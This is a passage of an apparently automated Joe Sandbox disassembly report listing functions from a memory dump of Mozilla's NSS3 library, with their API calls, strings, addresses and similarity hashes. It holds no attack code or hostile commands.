APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C68AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AF83

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C68AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C68AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C68AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C68B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C68B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C68B041

Strings

pulSignatureLen = 0x%p, xrefs: 6C68B03C
pData = 0x%p, xrefs: 6C68AFEF
nvl, xrefs: 6C68B059, 6C68B093
ulDataLen = %d, xrefs: 6C68B00A
pParameter = 0x%p, xrefs: 6C68AFB9
hSession = 0x%x, xrefs: 6C68AF5E, 6C68AF6E
C_SignMessage, xrefs: 6C68AF41
pSignature = 0x%p, xrefs: 6C68B023
ulParameterLen = 0x%p, xrefs: 6C68AFD4
(CK_INVALID_HANDLE), xrefs: 6C68AF7C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nvl
API String ID: 1003633598-1382018852
Opcode ID: 99e5c1c3b53c8470ea355d46e1cb68d4f3ec0de84946c4a6efb09cae0f9b7e4d
Instruction ID: bf35ad67a149e4df1a710817b9f3a493dcd075271e7e57e7f7bdb1c540d77e1c
Opcode Fuzzy Hash: 99e5c1c3b53c8470ea355d46e1cb68d4f3ec0de84946c4a6efb09cae0f9b7e4d
Instruction Fuzzy Hash: 7141A575602148AFDB109F55DE4CE8A7BB2AB4630DF084034F9086BA51DB309958CBBE

Function 6C692D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C692DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C692E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000,?), ref: 6C692E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000), ref: 6C692E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EF8
PR_Unlock.NSS3(?), ref: 6C692F62
TlsGetValue.KERNEL32 ref: 6C692F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C692F9E
PR_Unlock.NSS3(?), ref: 6C692FCA
TlsGetValue.KERNEL32 ref: 6C69301A
EnterCriticalSection.KERNEL32(?), ref: 6C69302E
PR_Unlock.NSS3(?), ref: 6C693066
PR_SetError.NSS3(00000000,00000000), ref: 6C693085
PR_Unlock.NSS3(?), ref: 6C6930EC
TlsGetValue.KERNEL32 ref: 6C69310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C693124
PR_Unlock.NSS3(?), ref: 6C69314C

Part of subcall function 6C679180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C67918D
Part of subcall function 6C679180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C6791A0

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

PR_SetError.NSS3(00000000,00000000), ref: 6C69316D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction ID: 5db7b98909653f67d8ccf35584931866b19ac49c434238806d40bbce8ab55597
Opcode Fuzzy Hash: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction Fuzzy Hash: 2EF17CB5D0020AAFDF00DF64D888B9EBBB5BF09318F144169EC09A7721E731E995CB95

Function 6C679FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C679FBE

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C67A015

Part of subcall function 6C691940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C69195C
Part of subcall function 6C691940: EnterCriticalSection.KERNEL32(?,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001), ref: 6C691970
Part of subcall function 6C691940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5), ref: 6C6919A0

PL_FreeArenaPool.NSS3(?), ref: 6C67A067
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A055

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A07E
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C67A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C67A0CF
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A12E
PL_FreeArenaPool.NSS3(?), ref: 6C67A140
PL_FinishArenaPool.NSS3(?), ref: 6C67A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A158
PL_FinishArenaPool.NSS3(?), ref: 6C67A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C67A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67A1B2
free.MOZGLUE(00000000), ref: 6C67A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C67A1D6

Part of subcall function 6C6955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5,00000003,-00000004,00000000,?,6C66EAC5), ref: 6C695627
Part of subcall function 6C6955E0: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B), ref: 6C69564F
Part of subcall function 6C6955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C695661
Part of subcall function 6C6955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5), ref: 6C6956AF

Strings

security, xrefs: 6C67A00F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction ID: 7d7db5065df9df95db9942e8cd8d3b8136aba2c4a1a90e86841dd5ea4fda52e4
Opcode Fuzzy Hash: 823acaa2cc335ad26df7d509bc6585238682363e18a277f37ef96c5bfa5f7882
Instruction Fuzzy Hash: 5E51E875D00209ABEB209BA4DC44BAF7379AF4230CF105924E805BAB42F771D559C7BE

Function 6C686D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C686D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C686DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C686DC3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C686DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C686DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C686E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C686E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C686E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C686EB9

Strings

pData = 0x%p, xrefs: 6C686DF5
nvl, xrefs: 6C686E61, 6C686E95
pDigest = 0x%p, xrefs: 6C686E27
C_Digest, xrefs: 6C686D81
ulDataLen = %d, xrefs: 6C686E0E
hSession = 0x%x, xrefs: 6C686D9E, 6C686DAE
*pulDigestLen = 0x%x, xrefs: 6C686EB4
pulDigestLen = 0x%p, xrefs: 6C686E42
(CK_INVALID_HANDLE), xrefs: 6C686DBC

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nvl
API String ID: 1003633598-1341204591
Opcode ID: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction ID: 419655d85b141ac2d809aaca5a68e7164a6365c178cd1c9b329bffc53f46eb1f
Opcode Fuzzy Hash: 261a3bbacfe6adc73c4ac988cf7018bb9c637e35c97ea9e987acacd698a5e4f7
Instruction Fuzzy Hash: 4B41C575612108AFDB109F55DE4DF8A3BB2AB4335CF044034E909ABA11DB30E949CBBE

Function 6C689C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C689C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C689C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C689CA3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C689CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C689CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C689CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C689D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C689D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C689D42

Strings

nvl, xrefs: 6C689D5A, 6C689D91
pUsername = 0x%p, xrefs: 6C689D24
ulUsernameLen = %d, xrefs: 6C689D3D
hSession = 0x%x, xrefs: 6C689C7E, 6C689C8E
pPin = 0x%p, xrefs: 6C689CF0
userType = 0x%x, xrefs: 6C689CD5
C_LoginUser, xrefs: 6C689C61
ulPinLen = %d, xrefs: 6C689D0B
(CK_INVALID_HANDLE), xrefs: 6C689C9C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nvl
API String ID: 1003633598-3871879280
Opcode ID: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction ID: 97001691560bb6bbf9f960e1ba66711bcb3e7fff6fbce1c23f885c0641adbd44
Opcode Fuzzy Hash: f7da86eb8523020b75555e19aa2c62ff740ef067c679cbf8587bcd3d27d6facb
Instruction Fuzzy Hash: CE41B171603548AFDB009F55DE4CE9A3BB2AB4331DF488034E9096BA51DB319918CBBE

Function 6C694C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C694C4C
EnterCriticalSection.KERNEL32(?), ref: 6C694C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694DB7

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

TlsGetValue.KERNEL32 ref: 6C694DD7
EnterCriticalSection.KERNEL32(?), ref: 6C694DEC
PR_Unlock.NSS3(?), ref: 6C694E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C694E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C694E71
free.MOZGLUE(00000000), ref: 6C694E7A
PR_Unlock.NSS3(?), ref: 6C694EA2
TlsGetValue.KERNEL32 ref: 6C694EC1
EnterCriticalSection.KERNEL32(?), ref: 6C694ED6
PR_Unlock.NSS3(?), ref: 6C694F01
free.MOZGLUE(00000000), ref: 6C694F2A

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction ID: c7eadba8dfdcf8d112905d5e7f89dc14206fe8fe0b03632c4973cecca49b379e
Opcode Fuzzy Hash: ddcf76185b09ff66af8f83aaf2c6521a0a2c4f4f69a7a3b883a3c515b195a743
Instruction Fuzzy Hash: ADB10075A00206EFDB00EF68D884BBA77B4BF0A318F044174ED2597B11EB71E965CB99

Function 6C69FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFB4

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFC6

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFD6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFE6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C69FFF6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0006
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0016
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0026
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0036
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0046
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0056
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0066
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0076
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0086
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A0096
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00A6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00B6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00C6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00D6
PR_NewLock.NSS3(?,?,6C6976C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6A00E6

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction ID: 46c0be7224f279011e5d4f149d0e3a213e0c61ad0ddb1409ee3b8ea372c33888
Opcode Fuzzy Hash: 6469a5f842050281d22a2772845515bbb5629e086970cb9ed89f603a1cff7afe
Instruction Fuzzy Hash: EB3139F0E1B7149E8B45EF26C24C94ABAF4BB26688714553AE02487F10DB74494BCFDD

Function 6C6E6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6E6BF7), ref: 6C6E6EB6

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C78FC0A,6C6E6BF7), ref: 6C6E6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6E6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6E6EFC
PR_NewLock.NSS3 ref: 6C6E6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6E6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6E6BF7), ref: 6C6E6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6E6BF7), ref: 6C6E6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6E6BF7), ref: 6C6E6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6E6BF7), ref: 6C6E6FFD

Strings

SSLKEYLOGFILE, xrefs: 6C6E6EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6E6FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6E6FF8
SSLFORCELOCKS, xrefs: 6C6E6F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6E6EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6E6F4F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
